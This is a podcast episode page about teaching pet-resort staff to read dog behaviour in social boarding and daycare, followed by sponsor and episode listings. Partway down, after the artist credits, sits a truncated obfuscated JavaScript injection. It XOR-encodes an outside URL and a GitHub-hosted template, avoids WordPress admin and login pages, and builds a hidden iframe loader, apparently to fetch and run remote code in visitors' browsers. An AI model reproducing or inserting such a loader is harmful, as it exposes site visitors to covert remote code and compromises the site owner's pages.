The Canine Paradigm

Episode 354: Showing staff how to read dog behaviour

The Canine Paradigm

Show Notes

In this episode of The Canine Paradigm, Pat asks Glenn about travelling around Australia to work with Pet Resorts Australia teams on the floor. The focus is showing staff how to read dog behaviour in real time, so social boarding and daycare stay safe, structured, and enjoyable. We discuss how to set sessions up well, how to brief simple rules, and how to notice the early signs that a group needs a reset.

We cover practical ideas staff can apply immediately. For example, start with a calm entry, match energy levels, and use short check-ins to keep arousal steady. Then, read the small signals that precede problems, such as fixed stares, speeding up, stillness, or crowding. If you see them, you can redirect, split, or take a short break before tension grows. Finally, record what mattered so the next shift benefits from the same clarity.

It is a straightforward conversation about staff confidence, safer choices, and keeping the experience good for dogs and people.

Further Details

Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community.

Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia.

Pat Stuart offers a full suite of coaching and dog training services through Serious dog business

We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance.

Explore our complete range of merchandise at our Teespring store.

You can also help by spreading the word within the canine community or suggesting special guests for future interviews.

For information on how to listen to our podcast, please visit this link.

Subscribe to our YouTube channel for video content and updates.

If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories.

Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry.

We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA.

Support Our Supporters

Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in.

For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR

Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR.

The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR

For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR

Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs

Special Thanks

A huge thanks to all our contributing artists. Please take a moment to support their amazing work:

Jane Stuart

Avery Keller

Zoie Neidy

; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.

More from The Canine Paradigm

Oct 2, 2026

Pat Stuart had planned to spend his life in the Army. Becoming a professional dog trainer was never the plan.

Sep 22, 2026

Glenn Cooke and his mate Mark wanted a dog for their share house. They each put in $100 and bought a puppy through the Trading Post. They called him Harley. What began as a decision to get a dog became the starting point for a very different life.

Sep 10, 2026

When polished content replaces practical experience.

Aug 29, 2026

In Episode 373 of The Canine Paradigm, Glenn Cooke and Pat Stuart sit down with David McKelson, founder of Pro Dog Training.

Aug 20, 2026

Dog training motivation is not simply about how quickly a dog performs or how intensely they pursue a reward. Does your dog genuinely enjoy training, or have they simply learned to chase the food, ball or tug at the end of it? The difference matters. When the reward is the only valuable part, performance can become dependent on what the dog can see, while the training itself holds very little value.

See all episodes →